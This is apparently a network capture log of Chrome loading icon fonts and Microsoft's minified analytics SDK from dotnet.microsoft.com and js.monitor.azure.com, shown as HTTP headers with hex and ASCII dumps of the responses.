2024-11-23 20:11:28 UTC	752	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:28 GMT Content-Type: font/woff2 Content-Length: 16740 Connection: close Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797ce64" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=25.300097405243594; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201127Z-174c587ffdfks6tlhC1TEBeza400000003h00000000071e5 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	15632	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 41 64 00 12 00 00 00 00 7b 90 00 00 40 fb 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 62 1b 20 1c 84 50 06 60 3f 53 54 41 54 5e 00 82 0c 08 81 7c 09 9f 14 11 10 0a 81 b2 18 81 98 7a 0b 84 1e 00 01 36 02 24 03 88 38 04 20 05 84 78 07 20 0c 85 1f 1b 9e 6b 35 32 af 45 fc a0 3b 80 5f a4 ec a9 44 14 c1 c6 01 c4 33 5d 9c fd ff 27 24 27 63 08 d8 d9 74 9a 55 1d 56 61 99 81 9e c3 c9 46 cd e4 75 3a 93 77 75 23 6d 38 1c b0 f4 4e ca 8b a6 1e d4 85 7d 59 0c 04 82 92 a2 f5 86 87 b8 57 fb 49 66 6b 8b 42 52 8a 75 e4 f9 b3 25 8a ac d3 cd 8b 5d 14 7c 1d b5 51 d5 e1 64 5b 9b dd fa 58 d9 14 c6 f9 c8 81 55 6d 66 db 30 19 7b 6e 8e 94 3d de c3 be be d1 69 cc 7f dd 46 e4 7c 16 12 e1 9a 73 f0 1b df 10 89 58 ad 5f a8 63 Data Ascii: wOF2Ad{@b P`?STAT^\|z6$8 x k52E;_D3]'$'ctUVaFu:wu#m8N}YWIfkBRu%]\|Qd[XUmf0{n=iF\|sX_c
2024-11-23 20:11:28 UTC	1108	IN	Data Raw: 25 f7 45 41 1f 3e 29 ed 2b a8 05 68 e3 9a c3 7d 1e 28 5f c6 dd 8c 4a 4e 00 bc d2 ca 6c d2 75 b9 04 c2 0d 8b f3 ae f4 f5 27 e7 58 dd 42 db fb 29 59 5d 23 84 19 51 4a 2c 87 7d d3 6d 64 d2 2f c8 92 02 2d c8 11 a5 cd 4c 26 8c 4d 00 5a 57 5f b4 0a 19 25 a2 6a 11 95 d4 45 81 79 1b ae 2f af bd 08 20 dd e8 b7 0b eb c6 00 23 9d e2 5d 00 8b da 3f de 88 ca fb 61 f5 dd ea 1d e6 e2 04 69 52 5f 52 1b 12 77 7b cc 9a 3d fc f2 0a 6e 7d c7 b7 03 43 79 ba 06 e2 57 85 89 49 8e 62 44 65 79 1b c5 9f c8 c6 3c e2 5e f7 85 9c a1 b6 74 5e fe c5 a9 ef bc c6 1b 9e d3 92 c3 64 31 2d 91 99 3d af 1a 73 f2 d3 fa 37 06 3a 02 4e 80 d8 fa c2 62 9f e0 e9 73 a8 94 69 2c 9a 30 e6 ba 42 36 c1 18 2a 08 00 e3 ca f5 6f b2 9e 57 65 63 3e a3 3c 45 0a fa 92 42 fc 00 96 88 fd 38 e7 79 4f 8a 1a c1 84 Data Ascii: %EA>)+h}(_JNlu'XB)Y]#QJ,}md/-L&MZW_%jEy/ #]?aiR_Rw{=n}CyWIbDey<^t^d1-=s7:Nbsi,0B6*oWec><EB8yO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49756	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	559	OUT	GET /scripts/c/ms.analytics-web-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	898	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:27 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 157941 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:50 GMT ETag: 0x8DCEC758796556E x-ms-request-id: 6a1099c4-901e-0026-1d66-306559000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.analytics-web-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241123T201127Z-174c587ffdf4zw2thC1TEBu34000000003d000000000n66c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	15486	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 41 6e 61 6c 79 74 69 63 73 20 57 65 62 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 74 29 6e 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: /! 1DS JS SDK Analytics Web, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 76 61 72 20 65 3d 6e 2c 74 3d 6e 3b 72 65 74 75 72 6e 20 51 28 6e 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 28 29 2c 65 7d 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 26 26 6e 28 29 2c 65 7d 29 2c 6f 28 65 2c 74 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 67 6e 28 29 26 26 28 61 5b 70 6e 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 49 50 72 6f 6d 69 73 65 20 22 2b 64 28 29 2b 28 73 3f 22 20 2d 20 22 2b 61 69 28 63 29 3a 22 22 29 7d 2c 51 28 74 29 7c 7c 4f 65 28 47 72 2b 22 3a 20 65 78 65 63 75 74 6f 72 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 20 2d 20 22 2b 61 69 Data Ascii: var e=n,t=n;return Q(n)&&(e=function(e){return n&&n(),e},t=function(e){throw n&&n(),e}),o(e,t)}},"state",{get:d}),gn()&&(a[pn(11)]="IPromise"),a.toString=function(){return"IPromise "+d()+(s?" - "+ai(c):"")},Q(t)\|\|Oe(Gr+": executor is not a function - "+ai
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 3b 76 65 28 75 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 24 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 2c 65 5b 58 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 5b 6e 65 5d 28 65 29 7d 2c 65 5b 6a 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 43 6e 28 69 2c 65 29 3b 2d 31 3c 6e 3b 29 69 5b 4b 74 5d 28 6e 2c 31 29 2c 6e 3d 43 6e 28 69 2c 65 29 7d 2c 65 5b 45 69 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6f 63 28 69 2c 45 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 45 69 5d 28 6e 29 7d 29 7d 2c 65 5b 4e 69 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 6f 63 28 69 2c 4e 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 4e Data Ascii: ;ve(uc,this,function(e){$(e,"listeners",{g:function(){return i}}),e[Xt]=function(e){i[ne](e)},e[jt]=function(e){for(var n=Cn(i,e);-1<n;)i[Kt](n,1),n=Cn(i,e)},e[Ei]=function(n){oc(i,Ei,a,function(e){e[Ei](n)})},e[Ni]=function(n,t){oc(i,Ni,a,function(e){e[N
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 43 65 28 72 2c 65 29 7c 7c 6e 2e 73 65 74 28 74 2c 65 2c 76 69 29 7d 29 2c 6e 5b 42 74 5d 28 74 2c 4a 63 29 7d 2c 21 30 29 2c 49 5b 4c 74 5d 28 29 2c 6e 26 26 79 28 6e 29 7d 2c 66 2e 65 76 74 4e 61 6d 65 73 70 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 2c 66 2e 66 6c 75 73 68 3d 6d 2c 66 2e 67 65 74 54 72 61 63 65 43 74 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 55 7c 7c 28 6e 3d 7b 7d 2c 55 3d 7b 67 65 74 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 5b 6e 72 5d 7d 2c 73 65 74 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 5b 6e 72 5d 3d 65 7d 2c 67 65 74 54 72 61 63 65 49 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: nction(e){Ce(r,e)\|\|n.set(t,e,vi)}),n[Bt](t,Jc)},!0),I[Lt](),n&&y(n)},f.evtNamespace=function(){return x},f.flush=m,f.getTraceCtx=function(e){var n;return U\|\|(n={},U={getName:function(){return n[nr]},setName:function(e){n[nr]=e},getTraceId:function(){retur
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 29 29 2c 72 26 26 28 70 2e 62 61 74 63 68 65 73 2e 70 75 73 68 28 76 29 2c 70 2e 70 61 79 6c 6f 61 64 42 6c 6f 62 3d 6e 2c 70 2e 6e 75 6d 45 76 65 6e 74 73 3d 74 2c 6f 3d 76 2e 69 4b 65 79 28 29 2c 2d 31 3d 3d 3d 43 6e 28 70 2e 61 70 69 4b 65 79 73 2c 6f 29 26 26 70 2e 61 70 69 4b 65 79 73 2e 70 75 73 68 28 6f 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 70 61 79 6c 6f 61 64 3a 70 2c 74 68 65 42 61 74 63 68 3a 7b 69 4b 65 79 3a 76 2e 69 4b 65 79 28 29 2c 65 76 74 73 3a 76 2e 65 76 65 6e 74 73 28 29 7d 2c 6d 61 78 3a 68 7d 7d 29 2c 65 7d 2c 6d 2e 67 65 74 45 76 65 6e 74 42 6c 6f 62 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 68 63 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 53 65 72 69 61 Data Ascii: )),r&&(p.batches.push(v),p.payloadBlob=n,p.numEvents=t,o=v.iKey(),-1===Cn(p.apiKeys,o)&&p.apiKeys.push(o))},function(){return{payload:p,theBatch:{iKey:v.iKey(),evts:v.events()},max:h}}),e},m.getEventBlob=function(i){try{return hc(n,function(){return"Seria
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 74 28 65 2c 6e 29 7d 2c 6f 2e 67 65 74 4f 66 66 6c 69 6e 65 53 75 70 70 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 42 26 26 42 5b 65 6c 5d 28 29 3b 69 66 28 42 29 72 65 74 75 72 6e 7b 67 65 74 55 72 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 75 72 6c 3a 6e 75 6c 6c 7d 2c 73 65 72 69 61 6c 69 7a 65 3a 69 2c 62 61 74 63 68 3a 74 2c 73 68 6f 75 6c 64 50 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 74 65 7d 2c 63 72 65 61 74 65 50 61 79 6c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 63 72 65 61 74 65 4f 6e 65 44 53 50 61 79 6c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 42 5b 74 6c 5d 29 72 65 74 75 72 6e 20 42 Data Ascii: t(e,n)},o.getOfflineSupport=function(){try{var e=B&&B[el]();if(B)return{getUrl:function(){return e?e.url:null},serialize:i,batch:t,shouldProcess:function(e){return!te},createPayload:function(e){return null},createOneDSPayload:function(e){if(B[tl])return B
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 41 73 47 75 69 64 3a 6e 75 6c 6c 2c 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 3a 76 6f 28 29 2c 6e 61 6d 65 50 72 65 66 69 78 3a 76 6f 28 29 2c 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 3a 21 31 2c 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 55 73 65 72 3a 21 31 2c 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 3a 21 31 2c 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 3a 21 31 2c 73 63 72 75 62 49 70 4f 6e 6c 79 3a 21 31 2c 63 61 6c 6c 62 61 63 6b 3a 6c 6f 28 7b 75 73 65 72 43 6f 6e 73 65 6e 74 44 65 74 61 69 6c 73 3a 6e 75 6c 6c 7d 29 2c 67 70 63 44 61 74 61 53 68 61 72 69 6e 67 4f 70 74 49 6e 3a 55 76 2c 69 64 4c 65 6e 67 74 68 3a 32 32 2c 65 6e 61 62 6c 65 44 69 73 74 72 69 62 75 74 Data Ascii: AsGuid:null,cookieDomain:vo(),namePrefix:vo(),enableApplicationInsightsTrace:!1,enableApplicationInsightsUser:!1,hashIdentifiers:!1,dropIdentifiers:!1,scrubIpOnly:!1,callback:lo({userConsentDetails:null}),gpcDataSharingOptIn:Uv,idLength:22,enableDistribut
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 5b 5f 70 5d 3b 69 2b 2b 29 72 3d 72 7c 7c 2d 31 21 3d 3d 47 6e 28 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 70 5b 69 5d 29 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 69 3d 30 3b 69 3c 65 5b 5f 70 5d 3b 69 2b 2b 29 69 66 28 65 5b 69 5d 3c 30 7c 7c 65 5b 69 5d 3e 3d 4a 70 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 74 76 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 6e 76 3d 74 76 3b 66 75 6e 63 74 69 6f 6e 20 74 76 28 65 29 7b 76 61 72 20 75 3d 77 6f 28 65 29 3b 76 65 28 74 76 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 5b 6d 70 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 73 56 61 6c 69 64 3d 21 31 3b 76 61 72 20 6e 3d 28 6e 3d 57 6e 28 29 29 26 26 6e 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 Data Ascii: [_p];i++)r=r\|\|-1!==Gn(t.toLowerCase(),Yp[i]);if(r)return!1;for(i=0;i<e[_p];i++)if(e[i]<0\|\|e[i]>=Jp)return!1;return!0}tv.__ieDyn=1;var nv=tv;function tv(e){var u=wo(e);ve(tv,this,function(c){c[mp]=function(e){e.isValid=!1;var n=(n=Wn())&&n.getEntriesByType
2024-11-23 20:11:28 UTC	16384	IN	Data Raw: 32 34 34 5d 3d 22 56 49 44 45 4f 4a 55 4d 50 22 2c 6f 5b 6f 2e 56 49 44 45 4f 43 4f 4d 50 4c 45 54 45 3d 32 34 35 5d 3d 22 56 49 44 45 4f 43 4f 4d 50 4c 45 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 42 55 46 46 45 52 49 4e 47 3d 32 34 36 5d 3d 22 56 49 44 45 4f 42 55 46 46 45 52 49 4e 47 22 2c 6f 5b 6f 2e 56 49 44 45 4f 45 52 52 4f 52 3d 32 34 37 5d 3d 22 56 49 44 45 4f 45 52 52 4f 52 22 2c 6f 5b 6f 2e 56 49 44 45 4f 4d 55 54 45 3d 32 34 38 5d 3d 22 56 49 44 45 4f 4d 55 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 55 4e 4d 55 54 45 3d 32 34 39 5d 3d 22 56 49 44 45 4f 55 4e 4d 55 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 3d 32 35 30 5d 3d 22 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 22 2c 6f 5b 6f 2e 56 49 44 45 4f 55 4e 46 55 4c 4c 53 Data Ascii: 244]="VIDEOJUMP",o[o.VIDEOCOMPLETE=245]="VIDEOCOMPLETE",o[o.VIDEOBUFFERING=246]="VIDEOBUFFERING",o[o.VIDEOERROR=247]="VIDEOERROR",o[o.VIDEOMUTE=248]="VIDEOMUTE",o[o.VIDEOUNMUTE=249]="VIDEOUNMUTE",o[o.VIDEOFULLSCREEN=250]="VIDEOFULLSCREEN",o[o.VIDEOUNFULLS
2024-11-23 20:11:28 UTC	11383	IN	Data Raw: 61 72 65 6e 74 4e 61 6d 65 29 7d 29 2e 69 64 26 26 74 2e 61 4e 26 26 74 2e 73 4e 26 26 74 2e 63 4e 7c 7c 6d 65 28 74 68 69 73 2e 5f 74 72 61 63 65 4c 6f 67 67 65 72 2c 32 2c 35 31 35 2c 22 49 6e 76 61 6c 69 64 20 63 6f 6e 74 65 6e 74 20 62 6c 6f 62 2e 20 20 4d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 61 74 74 72 69 62 75 74 65 73 20 28 69 64 2c 20 61 4e 2f 61 72 65 61 2c 20 73 4e 2f 73 6c 6f 74 29 2c 20 63 4e 2f 63 6f 6e 74 65 6e 74 4e 61 6d 65 2e 20 20 43 6f 6e 74 65 6e 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 6c 6c 20 73 74 69 6c 6c 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 21 22 29 2c 74 68 69 73 2e 5f 63 6f 6e 74 65 6e 74 42 6c 6f 62 46 69 65 6c 64 4e 61 6d 65 73 2e 69 73 53 68 6f 72 74 4e 61 6d 65 73 7c 7c 28 74 3d 7b 63 6f 6e 74 65 6e 74 Data Ascii: arentName)}).id&&t.aN&&t.sN&&t.cN\|\|me(this._traceLogger,2,515,"Invalid content blob. Missing required attributes (id, aN/area, sN/slot), cN/contentName. Content information will still be collected!"),this._contentBlobFieldNames.isShortNames\|\|(t={content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:27 UTC	693	OUT	GET /static/fonts/dotnetmdl2-icons-061622.woff HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:28 UTC	862	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:28 GMT Content-Type: application/font-woff Content-Length: 14228 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797b894" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=66.94319980543168; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201128Z-178bfbc474bmqmgjhC1NYCy16c000000052g000000004yh4 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:28 UTC	14228	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 37 94 00 0f 00 00 00 00 5e 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 58 00 00 00 48 00 00 00 60 4a 4d 7f 36 56 44 4d 58 00 00 01 a0 00 00 02 05 00 00 05 e0 81 5e 89 71 63 6d 61 70 00 00 03 a8 00 00 01 aa 00 00 03 08 2a 7d 06 8f 63 76 74 20 00 00 05 54 00 00 00 20 00 00 00 2a 09 d9 09 af 66 70 67 6d 00 00 05 74 00 00 00 f0 00 00 01 59 fc 9e e6 8e 67 61 73 70 00 00 06 64 00 00 00 0c 00 00 00 0c 00 08 00 1b 67 6c 79 66 00 00 06 70 00 00 29 c0 00 00 43 d2 47 63 87 3d 68 65 61 64 00 00 30 30 00 00 00 35 00 00 00 36 05 df 3f 1f 68 68 65 61 00 00 30 68 00 00 00 1d 00 00 00 24 0f f8 07 fe 68 6d 74 78 00 00 30 88 00 00 00 60 00 00 00 ba 19 7a 15 16 6c 6f 63 61 00 00 30 e8 00 00 00 Data Ascii: wOFF7^\|OS/2XH`JM6VDMX^qcmap}cvt T fpgmtYgaspdglyfp)CGc=head0056?hhea0h$hmtx0`zloca0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:29 UTC	692	OUT	GET /static/fonts/dotnetmdl2-icons-061622.ttf HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:30 UTC	864	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:30 GMT Content-Type: application/x-font-ttf Content-Length: 24188 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797d17c" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=15.389657588014616; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201130Z-178bfbc474bnwsh4hC1NYC2ubs00000004zg00000000ebpz X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:30 UTC	15520	IN	Data Raw: 00 01 00 00 00 0f 00 80 00 03 00 70 4f 53 2f 32 4a 4d 7f 36 00 00 01 78 00 00 00 60 56 44 4d 58 81 5e 89 71 00 00 02 94 00 00 05 e0 63 6d 61 70 2a 7d 06 8f 00 00 08 74 00 00 03 08 63 76 74 20 09 d9 09 af 00 00 0d ac 00 00 00 2a 66 70 67 6d fc 9e e6 8e 00 00 0b 7c 00 00 01 59 67 61 73 70 00 08 00 1b 00 00 5e 70 00 00 00 0c 67 6c 79 66 47 63 87 3d 00 00 0e 8c 00 00 43 d2 68 65 61 64 05 df 3f 1f 00 00 00 fc 00 00 00 36 68 68 65 61 0f f8 07 fe 00 00 01 34 00 00 00 24 68 6d 74 78 19 7a 15 16 00 00 01 d8 00 00 00 ba 6c 6f 63 61 c3 f3 b3 55 00 00 0d d8 00 00 00 b2 6d 61 78 70 00 6d 01 5f 00 00 01 58 00 00 00 20 6e 61 6d 65 35 e6 cc be 00 00 52 60 00 00 0b ed 70 6f 73 74 ff 51 00 77 00 00 5e 50 00 00 00 20 70 72 65 70 78 bd f2 0e 00 00 0c d8 00 00 00 d3 00 01 00 Data Ascii: pOS/2JM6x`VDMX^qcmap}tcvt fpgm\|Ygasp^pglyfGc=Chead?6hhea4$hmtxzlocaUmaxpm_X name5R`postQw^P prepx
2024-11-23 20:11:30 UTC	158	IN	Data Raw: 80 fc 80 80 02 00 fe 80 01 80 fe 00 80 07 00 80 fe 80 01 80 80 fe 00 01 80 02 38 fe e0 01 20 03 0f 01 21 fe df 91 b8 b8 b8 fd 68 c1 02 31 c1 fd cf 02 31 c1 fd cf 03 b9 02 00 80 f9 80 80 02 00 05 80 fe 00 01 80 80 fa 80 fe 00 80 00 03 00 80 00 80 07 00 07 00 00 03 00 07 00 13 00 00 01 11 21 11 05 21 11 21 01 21 35 21 11 33 11 21 15 21 11 23 07 00 f9 80 06 00 fa 80 05 80 fd 00 fe 80 01 80 80 01 80 fe 80 80 07 00 f9 80 06 80 80 fa 80 02 80 80 01 80 fe 80 80 fe 80 00 00 03 Data Ascii: 8 !h11!!!!5!3!!#
